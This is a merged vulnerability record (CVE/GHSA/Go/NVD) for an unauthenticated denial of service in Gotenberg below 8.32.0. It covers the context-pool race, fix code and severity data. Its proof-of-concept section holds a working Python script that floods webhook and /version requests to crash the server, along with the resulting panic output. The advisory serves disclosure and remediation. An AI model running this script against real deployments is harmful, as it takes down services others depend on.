{"id":"CVE-2026-42594","aliases":["CVE-2026-42594","GHSA-r33j-c622-r6qp","GO-2026-5605"],"related":[],"kind":"vulnerability","state":"published","title":"Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine","summary":"Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe webhook middleware spawns a goroutine that holds a reference to the request's `echo.Context` after the synchronous handler returns `ErrAsyncProcess` and Echo recycles the context back to its `sync.Pool`. When a concurrent request claims the recycled context, `c.Reset()` clears the store. If the webhook goroutine reaches `hardTimeoutMiddleware` at that moment, an unchecked type assertion on a nil store entry panics outside any `recover()` scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default `webhook-deny-list` filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 `GET /version` requests crashes the process in about two seconds.\n\n## Details\n\n`pkg/modules/webhook/middleware.go:338-382` starts the async goroutine and immediately returns `api.ErrAsyncProcess` to the caller:\n\n```go\nw.asyncCount.Add(1)\ngo func() {\n    defer cancel()\n    defer w.asyncCount.Add(-1)\n\n    err := next(c)                    // line 343\n    ...\n    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })\n}()\n\nreturn api.ErrAsyncProcess             // line 382\n```\n\n`pkg/modules/api/middlewares.go:356-361` sees the sentinel, responds with `204 No Content`, and lets Echo return `c` to the pool:\n\n```go\nif errors.Is(err, ErrAsyncProcess) {\n    return c.NoContent(http.StatusNoContent)\n}\n```\n\nEcho's router calls `c.Reset()` before serving the next request from the same goroutine pool slot, wiping `c.store`. When the webhook goroutine's `next(c)` enters `hardTimeoutMiddleware` at `pkg/modules/api/middlewares.go:396-398`, the handler dereferences the store before the new recover scope exists:\n\n```go\nreturn func(c echo.Context) error {\n    logger := c.Get(\"logger\").(*slog.Logger)   // line 398\n\n    ...\n    go func() {\n        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here\n        errChan <- next(c)\n    }()\n```\n\nIf a concurrent request has just acquired `c` from the pool, `c.Get(\"logger\")` returns `nil`, and `nil.(*slog.Logger)` panics at line 398. The panic is not inside any goroutine with a `recover()`, so the Go runtime terminates the process with exit code 2.\n\nNo `echo.Recover` middleware is registered (`pkg/modules/api/api.go:480-536`). `GOTRACEBACK` defaults propagate the panic to stderr and exit.\n\n## Proof of Concept\n\nReproduction on the stock Docker image with default configuration:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 \\\n    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error\n```\n\nSingle-process stress script (Alice sends both streams, no second actor):\n\n```python\nimport requests, subprocess, time, json, threading\n\nTARGET  = \"http://localhost:3000\"\nWEBHOOK = \"http://httpbin.org/post\"   # passes default webhook-deny-list\nSTOP    = threading.Event()\nhtml    = b\"<html><body><h1>Q</h1></body></html>\"\n\ndef webhook_fire():\n    s = requests.Session()\n    while not STOP.is_set():\n        try:\n            s.post(\n                f\"{TARGET}/forms/chromium/convert/html\",\n                files={\"files\": (\"index.html\", html, \"text/html\")},\n                headers={\n                    \"Gotenberg-Webhook-Url\":       WEBHOOK,\n                    \"Gotenberg-Webhook-Error-Url\": WEBHOOK,\n                },\n                timeout=15,\n            )\n        except: pass\n\ndef noise_fire():\n    s = requests.Session()\n    while not STOP.is_set():\n        try: s.get(f\"{TARGET}/version\", timeout=2)\n        except: pass\n\nfor _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()\nfor _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()\n\nt0 = time.time()\nwhile time.time() - t0 < 60:\n    time.sleep(1)\n    status = json.loads(subprocess.run(\n        [\"docker\", \"inspect\", \"gotenberg-poc\"],\n        capture_output=True, text=True, check=True).stdout)[0][\"State\"]\n    if status[\"Status\"] != \"running\":\n        print(f\"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}\")\n        STOP.set()\n        break\n```\n\nObserved output:\n\n```\nprocess crashed after 2.2s, exit code 2\n```\n\nContainer stderr captured with `docker logs gotenberg-poc`:\n\n```\npanic: interface conversion: interface {} is nil, not *slog.Logger\ngoroutine 287020 [running]:\n    /home/pkg/modules/api/middlewares.go:398 +0x2e6\n    /home/pkg/modules/webhook/middleware.go:343 +0xec\ncreated by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2\n    /home/pkg/modules/webhook/middleware.go:338 +0x1176\n```\n\n## Impact\n\nAny client that can reach the Gotenberg API crashes the process. Auto-restart policies (`--restart=always`, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.\n\n## Recommended Fix\n\nReplace the unchecked type assertion at `pkg/modules/api/middlewares.go:398` with a guarded lookup that handles the pool-reuse case:\n\n```go\nlogger, _ := c.Get(\"logger\").(*slog.Logger)\nif logger == nil {\n    return errors.New(\"context reused from pool before middleware chain populated it\")\n}\n```\n\nAlso add a `defer recover()` at the top of the webhook goroutine body at `pkg/modules/webhook/middleware.go:338` so any future panic downstream does not kill the process:\n\n```go\ngo func() {\n    defer func() {\n        if r := recover(); r != nil {\n            ctx.Log().Error(fmt.Sprintf(\"webhook goroutine panic: %v\", r))\n            handleError(fmt.Errorf(\"internal error: %v\", r))\n        }\n    }()\n    defer cancel()\n    defer w.asyncCount.Add(-1)\n    ...\n}()\n```\n\nA deeper fix detaches `echo.Context` from `api.Context` before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear `ctx.echoCtx` so downstream code cannot reach the pooled context.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg","format":"markdown","source":"go"},{"lang":"es","text":"Gotenberg es una API sin estado impulsada por Docker para archivos PDF. Antes de la 8.32.0, el middleware de webhook genera una goroutine que mantiene una referencia al echo.Context de la solicitud después de que el gestor síncrono devuelve ErrAsyncProcess y Echo recicla el contexto de vuelta a su sync.Pool. Cuando una solicitud concurrente reclama el contexto reciclado, c.Reset() borra el almacén. Si la goroutine del webhook alcanza hardTimeoutMiddleware en ese momento, una aserción de tipo sin verificar en una entrada de almacén nula provoca un pánico fuera de cualquier ámbito de recover(), colapsando el proceso de Gotenberg. Cualquier llamador anónimo alcanza la ruta del webhook (la lista de denegación de webhook predeterminada filtra solo el destino del webhook, no el remitente). Un estrés de una sola fuente de aproximadamente 24 solicitudes de webhook más aproximadamente 60 solicitudes GET /version colapsa el proceso en aproximadamente dos segundos. Esta vulnerabilidad se corrige en la versión 8.32.0.","source":"nvd"}],"published":"2026-05-07T01:00:24.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-362"],"affected":[{"ranges":[{"version":"< 8.32.0","status":"affected"}],"vendor":"gotenberg","product":"gotenberg","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.32.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v7","purl":"pkg:golang/github.com/gotenberg/gotenberg/v7","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.32.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"go"},{"ranges":[{"status":"affected","fixed":"8.32.0"}],"vendor":"thecodingmachine","product":"gotenberg","cpe":"cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42594","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/gotenberg/gotenberg","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-16T00:33:54.440Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42594","url":"https://www.cve.org/CVERecord?id=CVE-2026-42594","licence":"CVE Terms of Use","modified":"2026-05-16T00:34:56.941Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r33j-c622-r6qp","url":"https://github.com/advisories/GHSA-r33j-c622-r6qp","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:03.187Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5605","url":"https://pkg.go.dev/vuln/GO-2026-5605","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:33.069Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42594","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42594","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"}],"updatedAt":"2026-11-25T22:59:21.720Z","epss":{"score":0.00348,"percentile":0.30395,"date":"2026-12-01T12:00:22.000Z"}}